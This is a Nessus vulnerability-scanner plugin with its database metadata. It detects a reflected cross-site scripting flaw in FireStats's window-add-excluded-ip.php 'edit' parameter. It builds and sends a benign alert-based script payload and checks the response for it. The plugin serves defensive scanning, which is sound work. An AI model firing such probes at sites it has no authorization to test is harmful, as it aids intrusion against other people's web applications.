ID FIRESTATS_EXCLUDED_IP_EDIT_XSS.NASL Type nessus Reporter This script is Copyright (C) 2010-2021 Tenable Network Security, Inc. Modified 2010-07-16T00:00:00
Description
The version of FireStats installed on the remote host fails to
properly sanitize user-supplied input to the 'edit' parameter of the
'window-add-excluded-ip.php' script.
An unauthenticated, remote attacker can leverage this issue to execute
arbitrary script code in a user's browser.
Note that this version of FireStats is likely affected by cross-site
scripting issues in multiple other scripts; however, Nessus has not
tested for these.
#%NASL_MIN_LEVEL 70300
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(47746);
script_version("1.13");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_bugtraq_id(41548);
script_xref(name:"Secunia", value:"40569");
script_name(english:"FireStats window-add-excluded-ip.php 'edit' parameter XSS");
script_summary(english:"Attempts to exploit a non-persistent XSS.");
script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a web application that is affected by a
cross-site scripting vulnerability.");
script_set_attribute(attribute:"description", value:
"The version of FireStats installed on the remote host fails to
properly sanitize user-supplied input to the 'edit' parameter of the
'window-add-excluded-ip.php' script.
An unauthenticated, remote attacker can leverage this issue to execute
arbitrary script code in a user's browser.
Note that this version of FireStats is likely affected by cross-site
scripting issues in multiple other scripts; however, Nessus has not
tested for these.");
# http://web.archive.org/web/20100712144211/http://h.ackack.net/more-0day-wordpress-security-leaks-in-firestats.html
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?caf07989");
script_set_attribute(attribute:"see_also", value:"https://downloads.securityfocus.com/vulnerabilities/exploits/41548.txt");
script_set_attribute(attribute:"see_also", value:"http://firestats.cc/changeset/2191");
script_set_attribute(attribute:"solution", value:"Upgrade to version 1.6.6 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);
script_set_attribute(attribute:"vuln_publication_date", value:"2010/07/09");
script_set_attribute(attribute:"patch_publication_date", value:"2010/07/16");
script_set_attribute(attribute:"plugin_publication_date", value:"2010/07/16");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:edgewall:firestats");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses : XSS");
script_copyright(english:"This script is Copyright (C) 2010-2021 Tenable Network Security, Inc.");
script_dependencies("firestats_detect.nasl", "wordpress_detect.nasl");
script_require_keys("installed_sw/FireStats", "www/PHP");
script_require_ports("Services/www", 80);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");
include("url_func.inc");
app = "FireStats";
get_install_count(app_name:app, exit_if_zero:TRUE);
port = get_http_port(default:80, php:TRUE);
install = get_single_install(
app_name : app,
port : port
);
dir = install['path'];
install_url = build_url(port:port, qs:dir);
# Convert the scriptname to Unicode s we can use String.fromCharCode
payload = SCRIPT_NAME+'-'+unixtime();
enc_payload = '';
for(i=0; i<strlen(payload); i++)
{
enc_payload += ord(payload[i]) + ',';
}
# Trim the trailing ',' character
enc_payload = substr(enc_payload, 0, strlen(enc_payload) - 2);
xss = '<script>alert(String.fromCharCode('+enc_payload+'))</script>';
exploited = test_cgi_xss(
port:port,
dirs:make_list(dir),
cgi:'/php/window-add-excluded-ip.php',
qs:'edit='+urlencode(str:xss),
pass_str:'ID '+xss,
ctrl_re:'Unknown ID'
);
if (!exploited)
audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);
{"id": "FIRESTATS_EXCLUDED_IP_EDIT_XSS.NASL", "bulletinFamily": "scanner", "title": "FireStats window-add-excluded-ip.php 'edit' parameter XSS", "description": "The version of FireStats installed on the remote host fails to\nproperly sanitize user-supplied input to the 'edit' parameter of the\n'window-add-excluded-ip.php' script.\n\nAn unauthenticated, remote attacker can leverage this issue to execute\narbitrary script code in a user's browser.\n\nNote that this version of FireStats is likely affected by cross-site\nscripting issues in multiple other scripts; however, Nessus has not\ntested for these.", "published": "2010-07-16T00:00:00", "modified": "2010-07-16T00:00:00", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "href": "https://www.tenable.com/plugins/nessus/47746", "reporter": "This script is Copyright (C) 2010-2021 Tenable Network Security, Inc.", "references": ["http://www.nessus.org/u?caf07989", "http://firestats.cc/changeset/2191", "https://downloads.securityfocus.com/vulnerabilities/exploits/41548.txt"], "cvelist": [], "type": "nessus", "lastseen": "2021-01-20T10:43:44", "edition": 25, "viewCount": 3, "enchantments": {"dependencies": {"references": [], "modified": "2021-01-20T10:43:44", "rev": 2}, "score": {"value": -0.1, "vector": "NONE", "modified": "2021-01-20T10:43:44", "rev": 2}, "vulnersScore": -0.1}, "sourceData": "#%NASL_MIN_LEVEL 70300\n\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(47746);\n script_version(\"1.13\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/19\");\n\n script_bugtraq_id(41548);\n script_xref(name:\"Secunia\", value:\"40569\");\n\n script_name(english:\"FireStats window-add-excluded-ip.php 'edit' parameter XSS\");\n script_summary(english:\"Attempts to exploit a non-persistent XSS.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote web server hosts a web application that is affected by a\ncross-site scripting vulnerability.\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of FireStats installed on the remote host fails to\nproperly sanitize user-supplied input to the 'edit' parameter of the\n'window-add-excluded-ip.php' script.\n\nAn unauthenticated, remote attacker can leverage this issue to execute\narbitrary script code in a user's browser.\n\nNote that this version of FireStats is likely affected by cross-site\nscripting issues in multiple other scripts; however, Nessus has not\ntested for these.\");\n # http://web.archive.org/web/20100712144211/http://h.ackack.net/more-0day-wordpress-security-leaks-in-firestats.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?caf07989\");\n script_set_attribute(attribute:\"see_also\", value:\"https://downloads.securityfocus.com/vulnerabilities/exploits/41548.txt\");\n script_set_attribute(attribute:\"see_also\", value:\"http://firestats.cc/changeset/2191\");\n\n script_set_attribute(attribute:\"solution\", value:\"Upgrade to version 1.6.6 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2010/07/09\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2010/07/16\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2010/07/16\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:edgewall:firestats\");\n script_end_attributes();\n\n script_category(ACT_ATTACK);\n script_family(english:\"CGI abuses : XSS\");\n\n script_copyright(english:\"This script is Copyright (C) 2010-2021 Tenable Network Security, Inc.\");\n\n script_dependencies(\"firestats_detect.nasl\", \"wordpress_detect.nasl\");\n script_require_keys(\"installed_sw/FireStats\", \"www/PHP\");\n script_require_ports(\"Services/www\", 80);\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"http.inc\");\ninclude(\"install_func.inc\");\ninclude(\"url_func.inc\");\n\napp = \"FireStats\";\nget_install_count(app_name:app, exit_if_zero:TRUE);\n\nport = get_http_port(default:80, php:TRUE);\n\ninstall = get_single_install(\n app_name : app,\n port : port\n);\n\ndir = install['path'];\ninstall_url = build_url(port:port, qs:dir);\n\n# Convert the scriptname to Unicode s we can use String.fromCharCode\npayload = SCRIPT_NAME+'-'+unixtime();\nenc_payload = '';\nfor(i=0; i<strlen(payload); i++)\n{\n enc_payload += ord(payload[i]) + ',';\n}\n# Trim the trailing ',' character\nenc_payload = substr(enc_payload, 0, strlen(enc_payload) - 2);\nxss = '<script>alert(String.fromCharCode('+enc_payload+'))</script>';\n\nexploited = test_cgi_xss(\n port:port,\n dirs:make_list(dir),\n cgi:'/php/window-add-excluded-ip.php',\n qs:'edit='+urlencode(str:xss),\n pass_str:'ID '+xss,\n ctrl_re:'Unknown ID'\n);\nif (!exploited)\n audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);\n", "naslFamily": "CGI abuses : XSS", "pluginID": "47746", "cpe": ["cpe:/a:edgewall:firestats"], "scheme": null}